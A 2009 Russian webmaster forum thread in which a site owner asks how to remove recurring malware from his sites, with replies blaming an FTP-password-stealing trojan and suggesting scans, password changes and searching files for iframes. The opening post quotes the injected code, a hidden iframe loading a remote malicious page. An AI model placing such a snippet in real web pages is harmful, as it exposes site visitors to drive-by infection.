X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Как удалить такого типа вирус с сайта?, нужна скорая помощь...
Lazer
Lazer
Topic Starter сообщение 18.9.2009, 15:05; Ответить: Lazer
Сообщение #1


[LP]
******


Группа: Active User
Сообщений: 1211
Регистрация: 6.8.2008
Из: Нижний новгород
Поблагодарили: 292 раза
Репутация:   46  


Здравствуйте формучане, столкнулся с такой ситуацией, пару моих сайтов подхватили как-то вирус, вот не знаю как от него избавиться, вирус такого типа:
<div style="display:none"><iframe src="http://age-free.ru:8080/index.php" width=132 height=445 ></iframe></div>


Гуглил, нашёл только пару сайтов, где обсуждался этот вирус, но проблема в том, что все те сайты были зарубежные, в итоге, мало чего понял.
Что я делал: поменял всё пароли, заново установил двиг, шаб, бд, два дня продержалося норм, думал всё, ан нет, сегодня опять то же самое. Писал хостеру ,он лишь только сказал проверить свой комп на трояны. комп полностью проверил, всё удалено, но трабл остался...
Что посоветуете? Кто сталкивался с таим вирусом? sad.gif


--------------------
Я счас тебе морду в топе отпарсю, бек ты однолинковый, редирект ты неразрезанный, тайтл ты однокейвордный, капча ты однобуквенная :)
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kronos
kronos
сообщение 18.9.2009, 15:09; Ответить: kronos
Сообщение #2


Белый веб-мастер
*******


Группа: Active User
Сообщений: 4703
Регистрация: 10.2.2009
Из: Харьков
Поблагодарили: 2629 раз
Репутация:   327  


У вас на компе троян, он ворует пасс на фтп и вливает вирус.
Просканируйте компьютер, смените пароль на фтп, уберите ифрейм.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dengol
dengol
сообщение 18.9.2009, 15:11; Ответить: dengol
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 401
Регистрация: 18.3.2008
Из: Москва
Поблагодарили: 88 раз
Репутация:   23  


раз 20 уже вопрос подымался: ссылка
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Lazer
Lazer
Topic Starter сообщение 18.9.2009, 15:14; Ответить: Lazer
Сообщение #4


[LP]
******


Группа: Active User
Сообщений: 1211
Регистрация: 6.8.2008
Из: Нижний новгород
Поблагодарили: 292 раза
Репутация:   46  


dengol, мб вы не прочитали .но я напсиал ,чт оя уже всё перепробывал ,везде всё просканил ,удалил и сменил везде пароли, вирус этот прячеться не только в индекс.пхп, а ещё в двух файлах!


--------------------
Я счас тебе морду в топе отпарсю, бек ты однолинковый, редирект ты неразрезанный, тайтл ты однокейвордный, капча ты однобуквенная :)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dengol
dengol
сообщение 18.9.2009, 15:15; Ответить: dengol
Сообщение #5


Бывалый
****

Группа: User
Сообщений: 401
Регистрация: 18.3.2008
Из: Москва
Поблагодарили: 88 раз
Репутация:   23  


Все я внимательно прочитал.
Чудес не бывает, значит плохо искали и удаляли!
каким ftp клиентом пользуетесь?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
lostprophet
lostprophet
сообщение 18.9.2009, 15:16; Ответить: lostprophet
Сообщение #6


Топовый постер
*******

Группа: Super Moderator
Сообщений: 2567
Регистрация: 18.11.2008
Из: Ростов-на-Дону
Поблагодарили: 3172 раза
Репутация:   292  


(Lazer @ 18.9.2009, 15:14) *
dengol, мб вы не прочитали .но я напсиал ,чт оя уже всё перепробывал ,везде всё просканил ,удалил и сменил везде пароли, вирус этот прячеться не только в индекс.пхп, а ещё в двух файлах!

Вирус: троян Downloader js (вроде так), почистить можно комп SpywareDoctor + AdAware, закрыть доступ на хосте с левых IP по ftp ну и сменить пароли.
Слить сайт, открыть в Notepad++ и провести поиск "</iframe>"

Сообщение отредактировал lostprophet - 18.9.2009, 15:18


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Lazer
Lazer
Topic Starter сообщение 18.9.2009, 15:16; Ответить: Lazer
Сообщение #7


[LP]
******


Группа: Active User
Сообщений: 1211
Регистрация: 6.8.2008
Из: Нижний новгород
Поблагодарили: 292 раза
Репутация:   46  


Cute FTP 8


--------------------
Я счас тебе морду в топе отпарсю, бек ты однолинковый, редирект ты неразрезанный, тайтл ты однокейвордный, капча ты однобуквенная :)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Deft
Deft
сообщение 18.9.2009, 15:22; Ответить: Deft
Сообщение #8


За инвайтами в госдуму
******

Группа: Banned
Сообщений: 1402
Регистрация: 6.6.2009
Из: KAZAN CITY
Поблагодарили: 549 раз
Репутация:   82  


Такая же трамбала была ( Попрубуйте воспользоваться прогой Total Commander | Так же смени пароли ! Сталкивался с этой проблемой! )

Сообщение отредактировал tic20 - 18.9.2009, 15:23
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dengol
dengol
сообщение 18.9.2009, 15:24; Ответить: dengol
Сообщение #9


Бывалый
****

Группа: User
Сообщений: 401
Регистрация: 18.3.2008
Из: Москва
Поблагодарили: 88 раз
Репутация:   23  


(Lazer @ 18.9.2009, 15:16) *
Cute FTP 8

небось лицензия? biggrin.gif

Читаем здесь и здесь


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
FjuZ
FjuZ
сообщение 18.9.2009, 15:30; Ответить: FjuZ
Сообщение #10


6931fb
******

Группа: Active User
Сообщений: 1551
Регистрация: 3.2.2009
Из: UA
Поблагодарили: 595 раз
Репутация:   79  


у меня помню тоже такой был
менял мой код попандера на свой
а я ещё удивлялся-почему деньги не идут biggrin.gif


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Черный список обменников и как безопасно обменять валюту
141 Kurses 29893 Сегодня, 13:04
автор: BestExchangers
Открытая тема (нет новых ответов) Чем сжимать картинки для сайта без потери качества
1st-finstep.ru - Заработок в сети и методы продвижения сайта
13 komarik_vlad 1334 Сегодня, 12:29
автор: monson
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыКак черные SEO оптимизаторы собирают миллионы посетителей по высоко-актуальным запросам в Яндексе
5 serg5777 1548 Сегодня, 11:05
автор: Ley
Открытая тема (нет новых ответов) Как действительно успешно внедрять привычки. И менять жизнь
seoandme.ru - SEO-блог Анны Ященко
14 AnnaYa 1414 Сегодня, 8:49
автор: kaverima80
Открытая тема (нет новых ответов) Маленький кейс как сделать много почтовых ящиков в Gmail
Один аккаунт = много ящиков
0 PostBrigada 404 Сегодня, 0:32
автор: PostBrigada


 



RSS Текстовая версия Сейчас: 15.12.2017, 20:24
Дизайн